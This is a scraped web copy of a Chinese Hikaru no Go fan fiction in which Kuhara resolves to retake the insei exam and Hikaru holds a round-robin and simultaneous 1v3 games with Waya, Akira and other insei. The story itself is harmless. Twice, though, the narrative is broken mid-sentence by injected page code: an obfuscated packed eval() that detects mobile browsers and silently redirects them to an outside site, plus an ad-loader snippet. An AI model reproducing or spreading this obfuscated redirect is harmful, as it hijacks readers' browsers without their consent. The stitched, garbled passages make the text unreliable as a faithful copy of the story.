久原站在台阶下侧,光站在台阶上侧,两人构成了奇妙的呼应关系。这一刻,阳光正好从进藤光的背后射来,勾勒出他清晰的边缘之影,逆光使久原眼中只剩下一尊黑色的偶像。 然后久原深吸一口气,说:“等我赢了这局棋,我就会退部。” 他好像在用若无其事的语气宣布着什么足以颠覆人生选择的重磅新闻。发布会的对象却只有进藤光一人。 光一度以为自己时间倒流了。 “……你在说什么?相泽和你的约定不是你拒绝参赛才要退部吗?” 对方轻轻摇了摇头。 “退部之后,我会重考一遍院生。” 没想到,小记者竟直接给他丢了这么一枚重磅炸弹。光瞬间失去了表情管理。 他是认真的吗。明明下了那么大决心才选择退出,用了那么久的时间和对弈告别,又花了那么多精力在围棋专栏和进藤光培养计划上,事到如今才想重回院生的队列…… “——为什么?” 是什么促使他突然改了注意?进藤光忍不住快步走去他跟前,迅速追问。 久原被光的堵脸行为吓了一跳。 进藤光好像比预期之中更在乎他的出尔反尔。但这已经是决定事项了。久原定了定神,没有回避这家伙滚烫的神情。 “……棋盘上的很多细节,不亲自下棋是发现不了的,哪怕是为了更好地给你提供支持,我也必须进步。再说,日本棋院的棋局评论记者大部分也都有段位,我最好考上初段,然后读个一流大学的文学部,才能被《围棋周刊》编辑部录用为正社员,这是本人慎重分析之后得出的结论。” 光还是不明白他的意思。 这家伙,明明刚才坐在棋盘前还在发抖啊。院生那么高强度的对弈…… “你不怕旧病复发了?” “怕。当然怕。但我更怕被你远远甩在后面,再也没办法看懂你下的棋。那就太寂寞了。”久原收起手指,他说着说着,居然笑了起来,“归根结底,世界冠军的教练怎么能是个业余棋手呢。” 他已经做出了选择。并非一时兴起,而且有根有据的选择。或许是害怕初次见面时进藤光一语成谶——“要是职业棋坛上见不到你的棋,会有点可惜”,久原正是担心这句话成为现实,才决定再一次挑战自身的极限。他想一直跟随进藤光直到最后。 尝试失败过一次的事,只会比第一次更困难。 但某个人给予了他勇气。 如果没有进藤光,他绝对想不到自己会走到今天这一步。久原在心中默默向光道了谢。但他不想说出口,因为会显得太“戏剧性”。 没想到,光的惊讶只持续了很短促的一瞬间。 下一秒,他就双臂环在胸前,笑了起来。 “哼……你这家伙,想通得也太慢了吧。7月的院生考试的书类审查截止日期都过了诶!等你考上院生,我都是职业了!岂不是没机会跟你在正式比赛里过招?” 不愧是进藤光,对自己通过职业考试真有自信。不过…… “如果你是指书类审查的材料的话,我已经交了。” “?” “相泽揍我的当晚,我就这样决定了,然后赶在棋院关门之前交了文件。顺利的话,我们还有机会做一个月的院生同学呢,进藤。” 久原超过他,三步踏做两步地迈上阶梯。 不知为何,进藤光心中也燃起了一股奇妙的斗志。看到其他人因为自己的缘故而前进,他就忍不住也想前进得更远一些。 嘴上却还是调侃着:“切,真没志气!干脆不要想着院生同学,直接做同期新初段好了。” “那不可能。我很有自知之明的。” “你最大的缺点就是自知之明太多了!” “我可不想被国语不及格的人这么说。” “允许我随便缺课的人不就是你吗?!” 两人吵闹着,一前一后踏入海王围棋部赛场。 二小时后。 “那么,本届北区中学围棋大赛男子组的冠军是——海王中学!” 听到这个结果,佐和良中学的参赛者们都是一副苦瓜脸。沮丧的气氛让原先满心的期待更加苍白了。 “真遗憾。” 相田和久原同时抬起头,海王中学鼎鼎有名的短发美女日高由里出现在他们眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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久原和岸本不是头一次交手,以前他们都是院生,而且都是吊车尾,对局的次数并不少——用和谷的话来说就是水平都差不多烂。而久原第一次因为易普症中断棋局时,岸本就在旁边目击了他倒下的全部过程。 一个是放弃了院生但还留在围棋世界的清醒者,一个是自称只看棋不下棋如今却又偷偷跑回来的出尔反尔者。久原在这里坐着都感到尴尬。 “岸本……” “今天你的棋是我们交手以来最好的一局。”岸本面无表情地说出称赞的话只令他更感毛骨悚然,“祝贺你终于从黑房间里走了出来。不管怎么说,当初我的选择也算是应验了吧。” “诶?什么选择?” 岸本没有回答他,久原迷茫地盯着他的臭脸,双方僵持许久,直到尹老师满脸笑容地插话进来把佐和良中学里里外外表扬了一遍,顺带提到了进藤光,他们的话题才变成塔矢行洋的这位新弟子有多厉害有多天才有多不同凡响云云。 其实岸本选择退出院生,本来也有久原的原因在。久原这个家伙太擅长挑出别人的漏洞了,听他一针见血地指出自己的问题所在,岸本就觉得无限自卑,负面情绪叠加太多,久而久之就失去了自信,才会黯然离开职业之路。 但岸本当时觉得,久原一定会留下来。虽然他下棋的成绩和自己半斤八两,但能那样敏锐捕捉到对手棋路的人,总有一天会找到合适自己的下法,然后,蜕变成蝶。 后来听说久原也放弃了院生,他一度有些失望。 但现在,隔了两年,这家伙终于带着翅膀飞回来了。3目半,些微的差距,却足以扇动太平洋上空的气流。 回来的契机是因为进藤光吗。 那个进藤,明明没有参赛,却仿佛无孔不入,每个人都默念着他的名字。受到他的鼓励而出现在赛场上的棋手,又有多少呢?简直像他的出现本身,就是为了给日本棋坛带来新浪潮一样。 此时岸本耿耿于怀的进藤光早已溜出了人群。 好不容易趁他们不注意提前跑路了,光在教学楼外的大石阶上停下脚步,双手撑着膝盖,松了口气。 “啊,今天真是累死人了……怎么看棋也这么累,肯定是因为所有人都想找我说话!” 幽灵君也手痒痒了一整天,迫不及待地叮嘱道:“回去之后,小光一定要好好和我对弈哦!” “嗯——”光正想满口应下,面前却闪过梦中似曾相识的金色影子,突然说不出话来。 那个梦,只是单纯的一场棋局而已吗?为什么总觉得有哪里不太对劲?而且梦里自己的实力竟然能和佐为并驾齐驱……抑或是,不是并驾齐驱,而是“想要”并驾齐驱…… “怎么了,小光?”耳边响起佐为的声音。 “果然是痴心妄想吧,痴心妄想啊!”光一拍脑门,笑着站起来,“我要追上佐为还不知道是多久之后的事情呢。” “……?”佐为的上空漂浮着一连串的问号泡泡。 “我们走吧,佐为!今晚也要大战一场!” 光朝着夕阳的方向伸出拳头,漫天柔和的光线从手的边缘渗透过来,只觉神清气爽,一扫早上的闷气。 属于他的一周的假期结束了,属于久原的一年零七个月的空窗期也宣告结束,在遥远的彼方,属于某缕灵魂的一百三十七年的沉眠,亦即将迎来曙光。 比起这些,他更关心近在眼前的职业考试,因为他的死敌塔矢亮会拼尽全力和他一战,也因为这次考试之后他便回到了原来的道路上。 那个时候,还要告诉佐为自己心底最深处的秘密。包括那场倾盆大雨之下,他们最初的相遇。 所以无论如何,他都会赢。 ●○●○ 65.Chapter 64. 大杂烩循环赛 人是颇有灵性的动物,同样地,也很容易被感性所迷惑。 久原木子郎觉着这句话真是说得好极了。他放下手中新一期的《围棋周刊》,抬起头,桌前摆放着的一盆吊兰绿油油的直晃眼,晃着晃着他的心思就不知道飞去哪里了。偌大的围棋活动室里,现在就只有他一个人。 “唉。” 像个老头子一样叹息后,他双眼无神地望着头顶的水晶吊灯,这时,门被人敲了两下,一个人影出现在门口的方向。 “叹什么气呐,久原。”相泽没心没肺地笑着打趣他,“你很少露出这样的表情耶。” “我就是有点舍不得。” 相泽倒是很放得下,看到以往总是以笑脸迎人的久原也会露出这样的表情,他反而感到有点小小的惊讶:“舍不得进藤吗?他要去考职业棋士不早就是明摆着的事儿了吗,这有什么好伤感的。” “不是舍不得他……是舍不得围棋部。我下个月就要去参加院生考试了。” “什么?” “抱歉,这么晚才告诉你。” “……早就该这么干了!混蛋!”迎接他的是相泽的一记金牌头锤,直接给久原干得眼冒金星,相泽本人却哈哈大笑起来,“进藤那小子,果然很不一样啊。你发现没,只要是和他扯上关系的人,都会越来越喜欢围棋,戒都戒不掉。” 确实如此。进藤就像一束光,诱导他们奔向同一个目的地。 不仅是棋力惊人,人格魅力也很强。 这样的人,活该当他的世界冠军。 久原若有所思,“这么说来,今年塔矢亮突然打算考职业,估计也有他的原因在了。” 相泽不甘心地对着水晶吊灯大喊:“可恶,真嫉妒他啊!不仅彻底夺走了久原你的心,现在还把人也一起夺走了!” “哈哈哈……” “不过,退部之后,你还是要常回来喔。你专门为进藤签约的那么多职业棋手还等着过来和进藤对弈呢,不能浪费了。大家也会热烈欢迎你的。” 相泽目送久原走到门边。 “嗯,我只是不再以部员身份参赛而已,围棋部还是进藤和我的据点,离了这里我要去哪里给他安排训练嘛。谢谢你,相泽。”久原头也不回地最后一次拉开门,或许是不想被相泽看到此刻他的表情,他背对着相泽指了指自己的右侧脸颊,“Nice punch!(好拳)” 这句话就算是告别了。与短暂的国中围棋部生涯告别,也是与过去的自己告别。而他们,即将迈向全新的开始。 接下来,就让他专门为了这个了不起的进藤光好好打造一场职业考试热身训练吧! “Go go go!” “下棋下棋下棋!” 光和佐为肩并肩悠闲地走在佐和良中学校道的林荫下。为了迎接将来的职业考试,光在心里已经开始盘算着各种各样的计划,这一点与久原的安排不谋而合了。 倒不是紧张什么,进藤光前·七段参加过的大赛都没办法掰手指一一数出,可以说,当初的职业考试对于如今的他而言,根本只是一碟小小的开胃菜。 不过,想到自己即将与不同的对手——而且大部分是熟悉的对手的幼年版——大战数十局,有种神奇的养成感油然而生。 由于习惯了整日窝在家里用电脑对弈、或者干脆跑去棋院找人下棋,进藤光与当年的院生伙伴们关系并不像上辈子那么亲密,只是单纯的竞争对手,这也算是二度人生里无法避免的缺憾之一吧。 得找个机会和他们再做朋友呀。这样一想,职业考试特训循环赛就变成了极佳的理由。 “会不会有种高中生硬要和幼儿园小朋友一起玩的感觉……” 进藤光突然抬起头,这个动作看起来像是被屋檐上滴落的雨滴溅到脸一样。 “你在说什么,小光?” 佐为迈着小碎步快速窜到他面前,眨巴眨巴水灵灵的大眼睛。 “不过,如果我算高中生,那佐为简直就是千年老妖怪硬要和小婴儿做朋友了。” 佐为光速变脸:“啊!小光你说谁是千年老妖怪!我只是在世间漂泊千年,本尊可是十分年轻俊美的儒雅青年!” “哈哈,是啊是啊,是我失礼了。佐为,你想下循环赛吗?” 听到这个关键词,佐为的脸上立刻露出感兴趣的笑容:“循环赛?好棒!和塔矢研究会的那些人一起吗?” 塔矢研究会?嗯,绪方先生他们确实是极好的对手,自从塔矢行洋远赴海外之后,塔矢研究会相聚的频率并不曾降低多少,只是塔矢亮很少出席。平时光和绪方也常常在网上对弈,光每次都能感到颇有裨益。 但是,如果只是为了职业考试的话,同他们那群职业棋手一起特训,未免有些小题大做了。 “不,这次我不是为了增进自己的实力才想和别人对弈的。”进藤光凝神望着校道对面的树梢,“而是想……培养新人。对手越强,将来的我也就越强,他们得跟着我一起进步才行。” 他说的新人和佐为想的新人不太一样。 “以棋会友?那也不错啊,跟筒井前辈和明明他们?还是和相泽?”佐为兴高采烈地数着这些之前同光缔结下羁绊的孩子们,“塔矢我们经常见到,所以应该不是他……啊,难道是和海王中学的岸本君?” 看到光一点一点发笑的样子,佐为暗想,自己是不是猜错了。 “不对,不对,都不对。”进藤光故作神秘地摇晃着头,“这个嘛,等回家之后再告诉你。” “诶,小光你就别卖关子了……”佐为嘟起嘴道。 就这样他们一路走回了家,进藤宅餐厅的灯正亮着,暖黄色的灯光柔软而轻盈,美津子深褐色的影子映在窗帘上,似乎正忙着准备晚饭。进藤光打开门进去的时候,一股新鲜炸猪排的香味像烟一样飘进鼻子里,让他瞬间感觉肚子饿了。 “你回来了,小光。”美津子把最后一盘菜摆上桌,耸了耸肩,“今天有点晚呢,你不是说这几天不找塔矢君下棋的吗?” “我没去找他,只是有点别的安排。”进藤光勉强忍住了自己想大吃一顿的冲动,“开饭之前等我打几个电话吧,马上就好。” 美津子习惯了光这样随意的个性,只得叮嘱道,“快一点喔,要不菜会凉的。” 进藤光马上大步跑到电话机旁,迅速地按下一串数字。他不得不庆幸自己的记忆力超过常人,也庆幸对方没有换过号码,要不然过了这么久还能记得朋友的电话还真不是一般的具有挑战性。 没错,他要拨通的电话,正是和谷义高家的座机。 等他25岁的时候,全球满地都是用智能手机的人,也不需要记什么号码了。可是,也许是拨打次数太多的缘故,他至今都记得塔矢亮家以及和谷伊角家的座机号。 片刻过后,电话那边传来了一个疑惑的声音:“进藤?你怎么知道我家电话的啊!” 光直接忽略了他的疑问,“和谷,马上就要职业考试了,你要不要一起来打循环赛?” 对面一下子就清醒了。 “循环赛?要来!当然要来!我和伊角研究了好半天打败你的法子,一直没等到机会尝试呢!但是,你确定要我们对局吗?”和谷不安地摸摸后脑勺,“呃,虽然有点难以启齿,但是我们俩的水平远远比不上塔矢亮,不知道能不能满足你的期待……” 听到这完全不符合人设的台词,光故作震惊状:“和谷!你怎么这么客气!都不像你了!” “吵死了!我也只是在你面前客气而已啊,谁让你真的强到离谱好吗!” “伊角应该会来吧?然后再叫上本田,饭岛,越智还没考进来啊,那就奈濑,柴田如果有空也叫他一起,其余的人选就拜托你摇人啦!” 这么说来,自从上次给柴田留下半局谜题之后,对方果真没有再来找他,进藤光也没有故意去问起。多半是没解开那局棋,不好意思见面了吧。这小子行不行啊? 如此,循环赛最基本的成员便决定下来了。进藤光,和谷义高,伊角慎一郎,柴田悠一,以及和谷叫来的本田敏则、奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728628|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 濑明日美、饭岛良,再加上负责做棋谱记录的久原木子郎,围棋界新星云集,人数远远超过光最初的预期。 “和谷你真的叫来了好多人……” “我人缘很好的嘛。是你说的多多益善啊,要是还不够,伊角先生的九星会那边还有人愿意过来。” “不不不!够了够了,又不是组足球队!”光立刻叫停。 这个周日的紫水围棋会所突然热闹了不少,一大群少年的突然出现令市河小姐都忍不住追问了几句:“他们……全都是进藤你的朋友?” 毕竟她答应过要给进藤光的朋友免费了。可她没想到会来这么多人。 “不好意思,其实最初也没有这么多的,不过,我跟伊角说的时候大家都听见了,所以院生里成绩考前的几个都决定要来。”和谷像是在道歉似的笑着,“对吧,柴田?你虽然刚升上一组,但也下赢过伊角呢。” 柴田悠一在他发话前一直犹豫不决地望着进藤光的方向,好似在纠结该说什么,被和谷这样一说,一时有点迟钝:“啊,嗯。” 原来他升上一组了啊!上周进藤光为了看中学联赛翘了院生练习没去棋院,导致都不知道这个消息。敢情这家伙一直没解题,是在闷头干大事啊。 一直没说话的本田张嘴了:“真柴不在诶。” “哼,我才没打算找他过来。”和谷懒得解释,直接丢出一句大家都懂的结论,“省的不愉快。” 光有种想给他竖大拇指的冲动:不愧这么多年的好兄弟!果然知道自己讨厌的是谁!做得太好了,和谷! “可是我们是七个人,怎么办,剩下一个做裁判吗?” 发言的是众人当中年龄最大的伊角,不管组织什么样的活动,最关心细节问题的人往往都是最细致的他。伊角大哥哥的光辉形象早已深入人心,在光的上辈子,伊角的职业道路称不上顺风顺水,最后那段时间也只升到了六段,比起八段的越智、七段的和谷和进藤光稍显不足,但他是厚积薄发的人才,后来经常去中国打比赛,还打进过几次准决赛,要知道那可是在高手如云的中国,这个成绩非常耀眼了,评论家们都说,再过一阵子他甚至真的有望反超塔矢亮。 看来今天叫他来是叫对了。 “七个人没关系,就是为了防止这种情况我才留了后手。”光笑嘻嘻地冲着房间深处挥挥手,“出来吧,塔矢!” 此名一出,在场六人,皆呆若木鸡。 “塔塔塔塔塔——塔矢?是‘那个’塔矢亮吗?活的吗?”和谷惊讶得下巴都要接地了。 仿佛正面回应他的怀疑似的,身穿海王中学制服的塔矢亮彬彬有礼地站起来,走近眼神各不相同的众人,浅浅鞠躬道:“我是塔矢亮,请多指教。” 沉寂的气氛维持了大约三秒钟,回过神来的众院生才在神奇的表情中一起回了礼:“……请……请多指教!!!” 他们行礼行得比见到棋院师范还标准。 光撇撇嘴,这些人,见到进藤光就直呼其名呼来唤去,怎么遇到塔矢亮就这么客客气气服服帖帖的! 塔矢亮依旧是一副波澜不惊的样子,脸上也没有什么笑意,这气场略让和谷背后发凉。 “喂,进藤,你没说过会有他在啊!”和谷连忙用右手挡住脸,缩到光身后,悄咪咪地问。 “没差嘛,他又不会吃人。” “可是……那家伙一看就很难相处吧?那可是名人的儿子,纯血的围棋贵公子,传说他从来不和低段棋手说话,之前在棋院遇见的时候,他也完全没把我们放在眼里!直接无视过去了!” “这下正好八个人,不是挺合适么?” 心里也明白一次与塔矢亮同台竞技的机会是多么难得的和谷只能妥协地叹了口气:“唉,不愧是进藤,居然连他都能请来……看来你俩的关系确实非同一般。今天我就放弃这颗自尊心吧。” 和谷义高,出阵已有必死觉悟。 于是,作为职业赛前突击训练的冲刺循环赛便这样轰轰烈烈地开始了。 ●○●○ 66.Chapter 65. 介绍一下,这是我家塔矢亮 循环赛,顾名思义,就是是每人都能和其他人对局一次或两次,最后按总成绩计算名次的赛制。这种竞赛方法比较合理、客观和公平,有利于不同棋手相互学习和交流经验。上一世进藤光的循环赛经验非常丰富,写起对局表格来也“唰唰唰”地格外干脆,由于手速过快,导致在一旁监督的和谷差点没看清。 第一轮的分配很随机,此后只要他们按顺序交换对手即可。 “伊角对柴田,本田对奈濑,饭岛对进藤……”和谷念出名单上的字,念到最后脸都绿了,“我对……塔矢亮。” 进藤光注意到他的神色变化,笑嘻嘻安慰道:“什么?不要在意啦,塔矢看着难以亲近,实际上是个很好相处的人呢。” ——你丫该不会是故意的吧、进藤!话说我们明明一点也不熟才对……你怎么会知道我最不想第一个对上他?! 和谷眯着眼内心腹诽着。 怀着极度紧张的心态,他在面色平静得可怕的亮身前坐下,假装毫不在意,其实死命揣度着对方的眼神。 塔矢亮也许是察觉到了他的紧张,竟然无辜地眨了眨墨绿色的大眼睛,这让和谷的表情更诡异了。 塔矢亮的名讳他自然听说过很多次,不过,像这样坐在真人的面前实在是货真价实的第一次!围棋世家的天才少年,俊美贵公子,塔矢名人引以为傲的独子,女性棋迷的一生最爱,目中无人却棋力精湛,和谷早就在幻想这个家伙会不会是个三头六臂的怪物了,如今看来……好像挺正常的,正常到比进藤还更像个正经棋手。 没错,一切都很正常。除了眼神里那道不知名的光线以外。 “哒。” 和谷拿起黑棋同他猜先的时候,被对方转眼一变的气势惊吓不少,从手指触碰到棋子的瞬间开始,塔矢亮整个人就进入了战斗状态,动作果断有力,刚刚见面时的平淡谦和仿佛根本不曾存在于他的身上、不知消逝至何方去了。 随后,塔矢亮抬起眼道:“我执黑。请多指教。” “请、请多指教……” 和谷吞了口唾沫,暗暗绷紧了神经,没有什么比一场毫无方向感的对弈更令人不安了。尤其是对手是神挡杀神佛挡杀佛的塔矢亮。 而且,这不安马上就以及其类似滚雪球的方式应验了。 塔矢亮每落一子,和谷就心跳加速一分,眉头越皱越紧,对方就像一个360度无死角的机器一样防守极强,又善于采用锐利的攻势挖空敌方地盘,来去自如地穿梭于对手的漏洞之间。和谷终于领略到平日里他们闲谈中的那位塔矢亮真正可怕的地方了。 围棋世家出身的塔矢亮,从小到大除了下棋就什么都没想过。 下棋对他来说是和呼吸一样简单的事。 进藤光执着于他,不是没有理由的。这种人……和院生根本不是一个级别。 毫无破绽。从任何角度都完美无缺。简直就是艺术品。塔矢行洋细心打造的一尊名为“儿子”的杰作艺术品。连相貌都是其中之一。 和谷曾经觉得“子承父业”而看不起的塔矢亮,早就走去了很远的彼方。 塔矢亮都尚且如此高不可攀,那连塔矢亮都追不上的进藤光,究竟置身于多遥不可及的高空? 想想都起鸡皮疙瘩。 在久原意料之中的注视下,和谷低沉着头,无法呼吸。 周边站了几个观战的大叔,似乎都见惯了塔矢亮与其他棋手的巨大实力鸿沟,看到和谷毫无招架之力,也完全不吃惊,而是小声讨论着亮的棋形有多优美。 连外行人都能看出他们的差距啊。 “……我输了。” 落败的和谷失去斗志般靠在沙发椅椅背上,桌上的棋盘上密密麻麻都是棋子,看得他的脑袋里全是一团浆糊。 坐在对面的塔矢亮仍然是不卑不亢的态度。 “你太紧张了。” “就算是这样,我也尽了全力,你绝对是同龄人里我见过的最骇人的对手。”和谷虽然不怎么喜欢面前这个贵公子,但对他的棋艺佩服至极。 意外的是,亮只是沉默了一会儿,便说出一句让和谷接近崩溃的话:“这句话留在你和进藤下过以后再说不迟。他已经不是两周前的他了。” 和谷抽了抽嘴角。 “……喂喂喂,你别吓我啊!” 嘴上这么说,和谷还是控制不住自己的好奇心,同对方简单复盘之后就想去围观光的对局。可是结果…… “诶?已经下完很久了吗?” 和谷目瞪口呆地看着没事干在喝水的饭岛。 饭岛轻轻抬起扣在杯盖上的手指,从镜片后别有深意地回望向他。 “不止是已经下完很久,而且是复盘完很久了。” “啥?” “他落子的速度比你能想象的上限还要快哦,当心,和谷。” “不是吧……这家伙难道完全没有瓶颈的吗?” 饭岛略带不甘心地叹了口气,“与其说是瓶颈,不如说我们从来都没探到过他的底吧。进藤本来就不止那点水平。塔矢君有下赢过进藤吗?” 亮摇了摇头。“不曾。” “你看。”饭岛耸了耸肩。 这下和谷都为两个月前扬言要打败进藤光的自己感到汗颜了,“进藤……到底是何方神圣……” 竟然连围棋世家出生的塔矢亮都下不过他,总不能是围棋之神在教进藤下棋吧! 佐为自豪地露出笑容。他家小光就是很厉害呢。 “这样塔矢君和进藤都是两胜了。”久原面不改色地在记录表上写下了结果,毕竟这是显而易见的发展,“会不会难度不够啊,下一轮我们提高难度吧。” 和谷深表震撼,“啊?这难度还不够?!” “是指对他们来说啦。” 久原说完这句话就继续去记录隔壁桌的棋谱了,留下和谷只能一边满脑子想着“什么叫降维打击”,一边继续忐忑不安地等下一轮循环赛开始。 其他人也正与各自的对手苦战。循环赛的轮数多,他们都下得相当迅速,以此锻炼自己的计算和反应能力。每局大约只花半小时到一小时略多便结束,连感到恐惧的时间都分不出来,哪怕对手是塔矢亮,也只能硬着头皮上。 即便是院生经验最丰富的伊角慎一郎,也从未体味过如此煎熬。 如果想当上职业棋士,他们要面对的,就是这样可怕的竞争对象吗…… 时间飞速流逝。 一轮又一轮紧绷神经下来,柴田悠一觉得自己都快要累趴下了。被进藤这么高水准的人叫来练习是一种荣幸,和塔矢这么高水准的对手对弈是一种荣幸,他一再重复着这两句话,直到自己失去疲惫的力气,然后强迫自己面对下一个对手。可是再怎么说,这么多人的循环赛也太辛苦了。除去午餐休息以外的时间他们都在不停地思考,脑子都榨干了。 而且……自己的第五个对手还是进藤光。 他们之中最强大的进藤光。 他之前都不好意思再见一次的进藤光。 在进藤光与他对局前,饭岛刚刚被光在中盘干净利落地收拾完,苦着脸的样子触目惊心,联想到自己常常输给饭岛这件事,他原就不多的自信几乎被榨得半点不剩了。 “……” 果然,自己这边明明在拼死拼活地下着,但对方看起来却毫无倦怠之色,进藤光反应的速度依旧和第一局相差无几,简直可怕得让人想直接变成空气溜走。 怀着哪怕只是吸取些教训也好的心态,他欲哭无泪地撑到了最后,在双方目数差距极大的情况下凄惨地认输了。 柴田捂住前额别过头去。 “进藤,你绝对是个怪物。克苏鲁神话级别的那种。” “……克苏鲁?那不是八爪鱼吗。” “我是在说你棋力高深到不可名状!!你来参加这种低水平循环赛到底有什么意义啊!!” “但是我也有学到很多哦。”没想到,进藤光还是笑意盈盈的样子,“我家教练这么安排的,肯定有他的道理。” 四月以来,光参加过十多次院生的日常练习赛,但最近他在判断他们的棋路上常常出现失误。比方说,本田敏则的老师是日本棋院的船村八段,光研究过船村的下法,就老以为本田也会老老实实跟着老师下,没想到他半路就开始自创流派,完全打破了光的预期。 越是新人,越有可能不按套路出牌。怎么说呢……感觉还挺有新意的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,和比自己弱的对手下棋,也不一定就没有收获,久原组织这场循环赛也是为了让他尽快适应职业考试会遇到的对手的水平。 同时也是为了给面前这些未来的对手适当的“刺激”吧。他如是推测。 确实如此,至此,进藤光连赢六局——而且无一例外都是中盘胜——的超凡实力,给他的所有对手都造成了不小的冲击。 不过进藤光本人在意的却另有其事。 那就是剩下的最后一局。 进藤光vs塔矢亮。 光死死盯着命中注定的对手的视线让所有人都如芒刺在背,亮也用同样极富战意的视线瞪了回去,搞得奈濑夹在中间都感到自己很多余,匆忙后退了一步。 这两个人之间的温度……总是莫名其妙就很炽热啊。 “咳嗯,我来宣布一下截止目前的成绩。进藤和塔矢都是六胜,伊角五胜,和谷四胜,其余人都是三胜,辛苦大家了。”久原念出了表格上的点数,脸上挂着神秘的微笑,“但是进藤和塔矢的最后这一局,我想换一种形式。” 这突如其来的话锋一转,让在场诸位都有些吃惊。 “换一种形式?”最先反应过来的是和谷,“是什么意思?” “简单来说,就是一对三。”久原举起一张白色的纸板,上面画有几个写有人名的黑色方框,看来是蓄谋已久,“进藤和塔矢各自与三名对手同时对弈,组合我来指定,计时不叠加,最后计算胜利的局数,谁赢的局数多谁就算最终获胜。” 这下连一贯最冷静的伊角脸上都出现了裂痕。 “一对三?!” 本田战战兢兢地举起右手:“计时不叠加的意思是……总共就只有一个半小时吗?要掰成三份给到三场对局吗?” “是的。” 听了这话,和谷首先表演了一个大摇其头。 “不不不!别说胡话了,那跟快棋基本没两样啊!思路会断得乱七八糟的!太乱来了!!” “你说的加大难度就是这回事啊……”连一向文静的奈濑也表示不能接受,“我们可都是院生哦,和职业初段下棋也互有胜负的,一对三,是不是太小瞧我们了?” 和他们相比,柴田简直都不知道自己此刻为什么还站在这里凑数了,“明明和业余棋手一对三都已经很夸张了……” “是啊!绝对不行啦!太勉强了!进藤你快点拦住他啊!” 以直白著称的和谷一把拽住好兄弟的胳膊,本意是求援,却不想好兄弟胳膊肘疯狂往外拐。在这种情况下,这个进藤光居然还笑得出来,还笑得有声有色!他根本不知道自己要面对的是什么! “挺有意思的嘛。”进藤光甚至挑衅般转向人群对侧的绿发少年,“塔矢有信心吗?” 唰,此言一出,所有人都转向了聚光灯下的塔矢亮,对方面色分毫不改,似乎对此早有预期。 “如果你可以,我没理由不行。” “这才对嘛。”闻言,光眯眼一笑。 还不等其他人做出反应,两人毫不犹豫地将棋桌搬到一起,顺手撤掉外侧的座椅,方便1v3时自由在三张棋盘前循环走动,看来此事已成定局。久原满意地拍拍手,示意和谷等人也找位置坐好,这另类的“循环赛”新解实属非同寻常,引得原本就时不时过来看两眼的会所大叔们蜂拥而至,把这片区域围得水泄不通。 “什么?小老师要和三个人同时下?进藤也是?” “我看了他们刚刚的对局,没一个是我下得过的对手!他们不都是准职业级吗?没问题吗?” “哼,进藤没问题的话,我们小老师怎么可能有问题!” 广濑还是无脑支持他的小亮老师。 市河在前台都看傻了,一时忘了给他们续茶。要是被外人知道一众顶尖院生要跟无段者下三对一,恐怕都没人肯信吧,堂堂日本棋院的尊严何在啊。 久原清了清嗓子,不知从哪里掏出一个小喇叭:“很好!那么我按照我对你们棋风的观察,分配最适合二位的对手!进藤对和谷君、饭岛君、本田君,塔矢君对伊角君、奈濑君、柴田君。总时长限制三小时,贴目五目半。各位选手准备好了吗?对局——开始!” ●○●○ 67.Chapter 66. 潜龙出渊 在久原仿若大赛裁判般专业的推波助澜下,现场气氛瞬间炒热到了高点。大叔们纷纷找准支持的一方,你一言我一语地吆喝起来。 “小老师加油!” “院生们也不要输!下赢进藤,挫挫他的锐气!” “干看着多无聊啊,我赌进藤赢2输1。” “那我就赌小老师连赢3局!” “北岛先生,广濑先生,你们要不要连这种时候都对着干啊。” 市河一边头疼这群孩子在会所里制造躁动,一边又为这兴奋状态带来的新订单而偷偷窃喜。围观群众越多,酒水销量自然越好,这对一向保本经营的围棋会所算是喜事。看在订单的份上,她就原谅进藤带这么多人来的“小惊喜”吧。 八人在各自的位置上就坐,猜先,就连抓子时都能清晰感受到四面八方传来的视线。和谷这下算是看明白了,进藤和塔矢简直就是这家围棋会所都精神支柱,团宠中的团宠。他们这两人算是主场作战,优势很大。 而且,就算进藤光什么都没解释,他也猜得出来:今天这轮循环赛的真正目的,根本就是最后压轴的这局1v3对局。醉翁之意不在酒。 久原木子郎单纯是为了让他们帮忙锻炼进藤光多线程处理棋局的能力,才叫这群院生佼佼者前来此地的。 即便如此,和谷也并不觉得自己受到了轻视。围棋的世界只以实力论英雄,能得到强者的认可,就算是1v3,那也足够叫人热血沸腾了。要知道,他们面对的也是实力足以挑战高段棋手的怪物,如果院生之中有谁能击败进藤光或是塔矢亮,毫无疑问就会拿下今年职业考试的最后一席! 来吧,会是谁拿下这局胜利?伊角还是他?让他来一探究竟吧! 与斗志昂扬的和谷相反,端坐在棋盘前的进藤光满脑子都是“策略”和“疑惑”。 “和谷,饭岛,和本田……久原故意把他们三人安排给我,到底是什么用意?”光托着下巴,审视着棋盘上的进展,“这三个人在平均实力上和塔矢那边并没有肉眼可见的差距,非要说的话,伊角和奈濑更容易受心态影响,柴田刚升上一组,实力很不稳定……难道是觉得我更适合发挥安定的对手?” 当然,想归想,他对棋局的计算可片刻也不曾消停。 在外界看来,他的眉头皱得比刚才一对一时更紧了,也就只有这点不同而已。落子的速度还是很快,完全看不出是在和三个人同时对局。 应对三种不同的思路,处理三场并行的运算,不仅意味着要把心掰成不均等的三份,还意味着这三份运行的进程完全不同,这可不是一般人能做到的,非常考验棋手的基本功。上辈子的光1v3与筒井、加贺和三谷对弈时,就因为实在算不过来,最终遗憾输给了加贺一局。 一对一绝对会赢的对手,一对三也可能因为观察失误而落败。正因为如此,每一步才需要下得尽量小心、不留后患,免得遗漏问题太多,后面算不过来。 他都下得如此吃力,塔矢呢? 